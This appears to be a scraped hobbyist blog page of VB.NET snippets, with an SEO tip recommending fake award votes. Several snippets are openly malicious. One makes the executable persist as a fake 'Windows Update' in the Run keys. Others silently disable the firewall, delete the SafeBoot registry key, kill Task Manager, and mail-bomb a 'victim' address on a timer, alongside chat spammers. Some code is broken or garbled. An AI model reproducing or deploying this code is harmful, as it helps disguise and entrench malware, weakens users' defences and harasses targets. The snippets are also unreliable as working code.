Mbojo-Lab

Tweet

Google Chrome is a browser that combines a minimal design with sophisticated technology to make the web faster, safer, and easier.Use one box for everything--type in the address bar and get suggestions for both search and Web pages. Thumbnails of your top sites let you access your favorite pages instantly with lightning speed from any new tab.

Tweet

This is a pretty easy way to get your site indexed in Google fast and get a high PR link at the same time.

Step 1:

Go To : bloggerschoiceawards.com And register an account.

Step 2:

Once your account is ready click on nominate and submit your site to the proper category.

When you are done you will notice that your site will appear on the front page of bloggerschoiceawards.com under “Most Recent Nominationsâ€. Now when you have your link on the front page the only thing left to do is ping the site and you are done. The main page also has a PR of 5 so a link from there will definitely give you some decent juice.

A Few Extra Tips:

Most of the categories also have decent PR usually 4+ and appearing in the first 10 results can be really easy since most of your competition will have less than 10 – 15 votes. If you don’t know how to get fake votes just head to BlogCatalog.com you will find quite a few groups there which exchange BloggerChoiceAwards votes.

Tweet

Before Public Class Form1 Add:

Imports System.IO
Imports Microsoft.Win32

Now double click form1 and add the following Code:

Try
If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then
System.IO.File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe")
End If
Catch ex As Exception

End Try
Try
Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()

Catch ex As Exception

End Try

Try
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()

Catch ex As Exception
End Try

Tweet

Gets OS Name:

Textbox1.text = My.Computer.Info.OSFullName

Gets OS Version & Build Number:

Textbox2.text = My.Computer.Info.OSVersion

Gets Total Physical Memory:

Textbox3.text = My.Computer.Info.TotalPhysicalMemory

Gets Available Physical Memory:

Textbox4.text = My.Computer.Info.AvailablePhysicalMemory

Gets Clipboard Text:

Textbox5.text = My.Computer.Clipboard.GetText
Gets Local Time:

Textbox6.text = My.Computer.Clock.LocalTime

Tweet

Add a Timer, 5 textboxes, button

textbox1 = Gmail Username
textbox2 = Gmail Password
textbox3 = Victim E-mail Address
textbox4 = Subject
textbox5 = Message
button1.text = send!

Add on Top Of "Public Class Form1"

Imports System.Net.Mail

Double Click Button1 and write:

timer1.start

then Double click Timer1 and write:

Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(TextBox1.Text)
MyMailMessage.To.Add(TextBox3.Text)
MyMailMessage.Subject = (TextBox4.Text)
MyMailMessage.Body = TextBox5.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
MsgBox("Email Has been sent Successfully ;)")

Tweet

Open a Website:

Process.Start("www.bumpbox.net")
Process.Start("www.myforum.net")

Open something

Shell("Notepad")
Shell("Calculator")

Delete a file

Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
System.IO.File.Delete(FileToDelete)

Kill a process

Dim RunningProcess As System.Diagnostics.Process = Process.GetProcessesByName("taskmgr.exe")(0)
RunningProcess.Kill()

Rename a file

My.Computer.FileSystem.RenameFile ("C:\Program Files\Mozilla Firefox\firefox.exe", "Anything.exe")

Delete a registry key

My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")

Create a registry key

Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True)
regKey.CreateSubKey("MyApp")
regKey.Close()

Text To Speech:

Dim sapi
sapi = CreateObject("sapi.spvoice")
sapi.Speak(Textbox1.text)

Fade in

For FadeIn = 0.0 To 1.1 Step 0.1
Me.Opacity = FadeIn
Me.Refresh()
Threading.Thread.Sleep(100)
Next

Fade out:

For FadeOut = 90 To 10 Step -10
Me.Opacity = FadeOut / 100
Me.Refresh()
Threading.Thread.Sleep(50)
Next

Minimize To Tray
Just Add a Notifyicon

Private Sub Form1_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize

If Me.WindowState = FormWindowState.Minimized Then

Me.Hide()

End If

End Sub

Private Sub NotifyIcon1_MouseClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseClick

If Me.WindowState = FormWindowState.Minimized Then

Me.Show()

Me.WindowState = FormWindowState.Normal

End If

End Sub

Add Music To Your Tool:

First Add your music to Resources
Note: The File Type Of The Music must be .wav

Double Click Button1 (start):

My.Computer.Audio.Play(My.Resources.song namenowav, AudioPlayMode.BackgroundLoop)

Double Click Button2 (stop)

My.Computer.Audio.Stop()

Count Files In Folders:

Dim NOF As Integer
Dim FilePath As String = TextBox1.Text
NOF = System.IO.Directory.GetFiles(FilePath).Length
TextBox2.Text =NOF.ToString

Google Searcher

Add:
Process
Button

Double Click The Button and Write:

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
msgbox("WTF :| ? are u searching for nothing o.0 ?)
Else
Process1.StartInfo.FileName = (" & TextBox1.Text & "&btnG=Search&meta=")
Process1.Start()
End If
End Sub

Case Example

Add:
1 Button
1 Textbox

Double Click the Button and write:

TextBox1.Text = Int(Rnd() * 4)
Select Case TextBox1.Text
Case 0
TextBox1.Text = "anything"
Case 1
TextBox1.Text = "passgenerator"
Case 2
TextBox1.Text = "CD key"
Case 3
TextBox1.Text = "strings"
End Select

Login Example:

Add:
1 button

Click The Button and write:

If TextBox1.Text = "CodeBreaker" _
And TextBox2.Text = "TheEndGamer" Then
MsgBox("Welcome to Bumpbox.net")
Else
MsgBox("Euuhh? do i know u :S ?")
End If

Xfire Add Friender and status changer (Just an example)

Add:
2 buttons
1 webbrowser
2 textboxes


Button1.text = Change Status
Button2.text = Add Friend

Double Click Button1 and write:

WebBrowser1.Navigate("xfire:status?text= " & TextBox1.Text)

Double Click Button2 and Write:

WebBrowser1.Navigate("xfire:add_friend?u ser=" & TextBox2.Text)

Screen Capture:

You Need a large picturebox
button1 = "Shoot"
Button2 = "Save"
Textbox1
Textbox2

Double Click Button1 and write:

Dim BumpBox As Rectangle
Dim screenshot As System.Drawing.Bitmap
Dim graph As Graphics
BumpBox = Screen.PrimaryScreen.BumpBox
screenshot = New System.Drawing.Bitmap(BumpBox.Width, BumpBox.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
graph = Graphics.FromImage(screenshot)
graph.CopyFromScreen(BumpBox.X, BumpBox.Y, 0, 0, BumpBox.Size, CopyPixelOperation.SourceCopy)
PictureBox1.Image = screenshot

Double Click Button2 and write:
Dim savefile As New System.IO.StreamWriter("C:\Users\" + TextBox1.Text + "\documents\" + TextBox2.Text + ".jpg")
savefile.Write(PictureBox1.Image)
savefile.Close()
MsgBox("Pictue Saved ", MsgBoxStyle.Exclamation, "Done!")

Picture Viewer:

Add:
1 Button
1 PictureBox

Double Click Button1 and write:

Try
OpenFileDialog1.Title = "Open Picture"
OpenFileDialog1.FileName = ".jpg"
OpenFileDialog1.Filter = "All Files |*.*" OpenFileDialog1.ShowDialog()
PictureBox1.Image = System.Drawing.Image.FromFile(OpenFileDi alog1.FileName)
Catch ex As Exception
End Try

Chat Spammer

Add:
2 Buttons
1 Timer

Double Click Button1(Start) and write:

timer1.start

Double Click Button2(Stop) and write:

timer1.stop

Then... Double Click Timer1 and Write:

SendKeys.Send(TextBox1.Text)
SendKeys.Send("{ENTER}")

HotKeyChat Spammer!

Drag a textbox out there follow up with 2 timer's. Change Timer2 to Enabled = True
Add 2 labels and change label1.text to Start=F1 and label2.text stop=F2 (or whatever key you choose to use).

Double click timer1 and write:

SendKeys.Send(TextBox1.Text)
SendKeys.Send("{ENTER}")

Double click Form1 and write:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer

Double click timer2 :

Dim starthotkey As Boolean
starthotkey = GetAsyncKeyState(Keys.F1)
If starthotkey = True Then
Timer1.Start()
End If
Dim stophotkey As Boolean
stophotkey = GetAsyncKeyState(Keys.F2)
If stophotkey = True Then
Timer1.Stop()
End If

you can change GetAsyncKeyState(Keys.) Ex. Keys.End)

CD-Rom Prank

Do
Dim oWMP = CreateObject("WMPlayer.OCX.7")
Dim colCDROMs = oWMP.cdromCollection
If colCDROMs.Count = 1 Then
For i = 0 To colCDROMs.Count - 1
colCDROMs.Item(i).Eject()
Next ' cdrom
End If
Loop

Disable Firewall:

Dim Bumpbox As Process = New Process
Dim top As String = "netsh.exe"
Bumpbox.StartInfo.Arguments = ("firewall set opmode disable")
Bumpbox.StartInfo.FileName = top
Bumpbox.StartInfo.UseShellExecute = False
Bumpbox.StartInfo.RedirectStandardOutput = True
Bumpbox.StartInfo.CreateNoWindow = True
Bumpbox.Start()
Bumpbox.WaitForExit()

Shutdown:

Shell("Shutdown -s")

Restart:

Shell("Shutdown -r")

LogOff:

Shell("Shutdown -l")

Tweet

Imports System.IO
'neil here, video of compile will be hosted on
' my youtube www.youtube.com/5050neil
Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click


        Dim openFileDialog1 As New OpenFileDialog

        openFileDialog1.Title = "neil/hotxx Open File"

        If openFileDialog1.ShowDialog() = DialogResult.OK Then
            TextBox1.Text = openFileDialog1.FileName
            Shell(openFileDialog1.FileName & " /secondary")

        End If









    End Sub

   
End Class